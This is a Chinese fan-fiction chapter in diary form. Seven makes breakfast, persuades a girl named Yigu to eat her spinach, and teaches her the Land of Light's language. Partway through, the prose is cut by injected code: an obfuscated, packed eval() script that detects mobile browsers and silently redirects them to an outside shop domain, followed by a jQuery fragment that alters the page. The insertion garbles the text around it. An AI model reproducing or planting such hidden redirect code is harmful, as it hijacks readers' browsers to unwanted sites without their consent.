1987年8月10号周六雨
下雨天只能留在家里，哪里都去不了，诸星团哥哥要教我数学和外语。
——
雨幕持续作响，细碎的嗒嗒声铺满窗外。绵密不断，远处景物蒙上薄雾，雨水顺着窗玻璃道道滑落。
厨房里传来叮叮当当的声音。
不是往常那种微波炉“叮”的短促一声，而是——不太熟练的切菜声。刀刃落在案板上，节奏不均匀，偶尔停顿，像切菜的人在认真辨认下一刀该切在哪里。
伊咕坐起来，揉揉眼睛。布偶熊从床沿掉到了地上，她弯腰捡起来放回床头。金鱼在书桌上的鱼缸里摆着尾巴，昨晚忘了给它换水，水面上浮着一层薄薄的泡沫。
伊咕换好衣服下楼。厨房里，赛文正背对着她站在料理台前，围着一条围裙——优太从来没见过那条围裙，淡蓝色的。赛文一手拿着菜刀一手拿着食谱，面前案板上摊着一块豆腐，正把它切成大小不一的方块。
旁边的小锅里，味噌汤正咕嘟咕嘟冒着热气。电饭煲的绿灯亮着，米饭已经煮好了。
“醒了？”赛文没回头，“洗手，准备吃饭。”
伊咕在餐桌前坐下来，面前摆好了筷子和汤碗。她看着赛文把味噌汤端过来，汤面上飘着豆腐和裙带菜，还有几片切得有点厚的葱花。旁边是一碟烤鲑鱼，皮烤得微微焦，露出橙红色的鱼肉。还有一小碗凉拌菠菜，上面撒着白芝麻。
米饭冒着蒸汽。
看起来什么都好。但伊咕的目光落在凉拌菠菜上，悄悄收回来。
赛文在她对面坐下，拿起筷子夹了一口饭，没说话。伊咕也端起汤碗喝了一口——味道还行，和百子姐做的比，盐放得稍微多了一点。她夹了一小块鲑鱼放进嘴里，鱼皮脆脆的，鱼肉很嫩。
然后她把筷子伸向那碟菠菜，停了一下。
菠菜。伊咕讨厌菠菜。那种滑滑的、涩涩的口感，嚼起来像是咬了一把被雨淋湿的草。每次百子姐做菠菜，她都要把它埋在米饭底下，趁人不注意再偷偷拨到雷欧哥的碗边上。雷欧是老好人不会怎么说她。
赛文的筷子停在半空中。
“吃了。”
就两个字。语调不高，甚至不算严厉。但那种语气，是宣布结论的语气。伊咕知道，这种语气出来的时候，没有商量的余地。
她夹起一根菠菜放进嘴里。菠菜在舌尖散开，芝麻的香味先涌上来，然后是酱油的咸，紧接着是那种她熟悉的涩味。她嚼了两下，没敢多嚼，直接吞了下去。又赶紧扒了一大口饭。
是赛文弄得不好吃，所以菠菜才那么难吃。
赛文低头喝汤，好像没在看她。但伊咕知道，他在看。
“菠菜维生素多。”赛文放下汤碗，夹起一块豆腐，说，“吃完了就能出去玩。”
伊咕看着盘子里剩下的菠菜。不多，大概五六根的样子。她吸了一口气，又夹起一根，这次裹着米饭一起放进嘴里，嚼了一下，又嚼了一下。涩味还是在，但不知道为什么，好像比刚才淡了一点。大概是芝麻酱盖住了。
她再接再厉，又吃了两根。等她吃完第四根的时候，发现碗边上多了一块烤鲑鱼。不知道什么时候被夹过来的，皮上最焦脆的那一部分。
她抬头看赛文。赛文正在看腕表，屏幕上好像是工作邮件，眉头微微皱着。
但她碗里那块鲑鱼，确实是不知什么时候多出来的。
伊咕把那块鱼吃了，又夹起最后一根菠菜。这次她嚼了整整五下，才慢慢咽下去。舌尖上残留着一丝涩味，但后面紧跟着回甘——微妙的、清甜的回甘，像是菠菜本身藏在涩味后面的一个小秘密。
“我吃完了。”
她端着碗站起来，准备送到水槽去。经过赛文身边的时候，赛文忽然开口，目光还在腕表屏幕上：“明天早上凉拌菠菜换成菠菜汤。加鸡蛋。”
伊咕停下来。她看着赛文的侧脸。仍然皱着眉，仍然在看手机，仍然是那种不太有表情的、公事公办的脸。
但他说的是“换成”，不是“不做”。
“嗯。”伊咕说。
她把碗放进水槽，走上楼梯的时候，脚步比平时轻快了一些。走到半路，她想起夜晚那颗夜光星星。现在天亮了，那颗星星应该只是一枚普通的贴纸，在走廊墙壁上发不出光。但她走过那里的时候，还是下意识地瞥了一眼。
它贴在墙壁上，圆圆的，淡绿色的，边缘被日光晒得微微翘起一角。看上去什么特殊之处都没有。但她经过的时候，伸手轻轻按了一下。
然后她继续往楼上走。
回到房间里，金鱼正转着圈子。它在鱼缸里摆着尾巴，嘴巴一张一合，吐出一串串气泡，红黑相间的鱼尾薄如锦缎，轻轻一摆，红纹衬着墨黑，在水中漾开飘逸残影。
伊咕站起来，换好外出的衣服。推开大门，雨还在下。关门。
厨房里传来水声，是赛文在洗碗。没有音乐，没有广播，只有水龙头哗哗的声音和碗碟碰撞的轻响。
一会赛文洗好碗，他手里拿着一个牛皮信纸。伊咕知道赛文要教她宇宙语了。
身为一个宇宙人要会宇宙语的。
他把信纸放在茶几上，坐下来。
伊咕正盘腿坐在沙发上画画。
赛文叫伊咕坐正，但是伊咕听不懂，她知道这是光之国的奥特曼的语言，赛文的声音带着一点沙哑的尾音，说的是一种优太完全听不懂的语言。发音圆润，像一颗颗珠子落在木盘子上。其中夹杂着几个她听上去有点熟悉的音节，但连在一起就完全不明白是什么意思了。
她抬头看着赛文。赛文靠在沙发上，闭着眼睛。像是在背诵什么似的，语速不快不慢，有时候停下来像是笑一声——笑声很轻，像微风拂过风铃的声音。语调微微上扬，像是在讲一个故事，又像是在哄什么人睡觉。
伊咕听了一会儿，忍不住问：“你在说什么？”
赛文，过了好几秒才睁开眼睛，开口：“童谣。”也算是祈祷词，悼亡诗。
伊咕很好奇。光之国的事情她只知道很少的几件。
“那是什么东西？”
赛文沉默了一会儿，“十几万年前，光之国遇到了邪恶势力的入侵，为了保卫家乡，有很多英勇的战士牺牲了，这是当时代代相传的悼词，是为了抚慰战士们的亡灵，希望他们得到永远的宁静，希望他们来世能够得到幸福。”
赛文轻声开口，继续唱着童谣，语调平稳而温柔，像一条流动缓慢的河，浑厚，像从喉咙更深处传来的。尾音微微颤动。
赛文停下来，又笑了一下。那笑声里有一种柔软的东西，像雪融化后的第一滴水。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799708|210581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
伊咕坐在沙发上，不明白为什么赛文会轻笑，“我也要学吗？”她问。
赛文点头，准备从基础的光之国语开始教起。他拿出几张纸，边写边教。
伊咕跟着念了五六张，舌头开始觉得有点别扭，读“迪”，读“诶夫”，读“诶鲁”——这些音和日文里的发音有点不一样，从嘴巴里出来的时候总觉得哪里卡住了。他念到R的时候，怎么也发不出那个卷舌的音。
“阿鲁。”她说。
赛文摇摇头：“不对。舌尖卷起来一点。‘啊——’”声音像是薄薄的一层雾。
伊咕努力卷舌头，但舌尖像一块不受控的软肉，怎么都卷不到正确的位置。“啊——”她试了一下，出来的是“啊鲁”的混合版。
“再来。”赛文重复了一遍发音，示范的时候声音放得很慢，嘴巴张开的幅度比平时大很多。伊咕看着他的嘴型，忽然觉得有点好笑。赛文平时在和凤源说话的时候，语速快得像机关枪，她从没注意过赛文的嘴巴是怎么动的。
赛文鼻梁下一副好看唇形，线条干净利落，安静抿着时极具质感。
赛文声音又响起来，像一颗颗玉珠子落在木盘子上。伊咕一个字也听不懂，但她听着，觉得那些音节好像在空气里拼成了一种说不清的形状。
“第一句是什么意思？”
赛文想了想，说：“说的是‘傍晚的山影最长，要走快一点’。”
伊咕又想了想最后那几个音节的时候，尾音微微往上走，像在指着远处什么东西。“傍晚的山影最长，要走快一点”——她把这句话在心里默念了一遍，试着去匹配那些陌生的音节。
完全对不上。但她在脑子里把那些音节记了下来，像记住了某条街拐角的形状，虽然还不知道它叫什么名字，但以后经过的时候会认出来。
赛文看着小奥认真的模样，想了想，从冰箱里拿出一瓶名为海蓝假期的酸奶递给伊咕，“今天就到此为止。”这个小奥已经表现得很不错了。
赛文又把沙发上的靠垫摆正。“资料放你桌子上，别弄丢了。”
伊咕抱着一踏手写资料走上楼梯。走廊墙壁上那颗夜光星星已经亮起来了，发出微弱的绿光，天还没有完全黑，它的光不太明显，但她知道它在那里。
她跟着那几个音节，轻轻地、笨拙地模仿。舌头撞在陌生的发音位置上，像第一次踏进一个从未到过的房间。有些音她发不出来，有些音她发得太重，有些音她还没来得及记住就滑过去了。
伊咕努力回想着。
伊咕软糯糯的童音在房间里轻轻回荡。金鱼在鱼缸里慢慢游动，尾巴扫过彩色石子。窗外的天空从浅蓝变成淡紫，再从淡紫沉入深蓝。路灯亮了，光从窗帘缝隙里透进来，落在伊咕桌子上摆放的海盐味的奶昔上。
楼下传来赛文做晚饭的声音。切菜声，水流声，锅盖合上的轻响。偶尔有一句哼唱，短促的，旋律一样的，和伊咕奶奶的尾音有点像，都是那种软软的、从喉咙深处传来的颤动。
伊咕趴在桌上，那些听不懂的音节在黑暗中游动，像鱼一样。她闭上眼睛，学着赛文的样子，在舌尖上轻轻滚过一遍。然后一遍。又一遍。
她不知道自己说了多久。只知道后来迷迷糊糊快睡着的时候，有人推开门，脚步声放得很轻，说了一句“吃饭了。”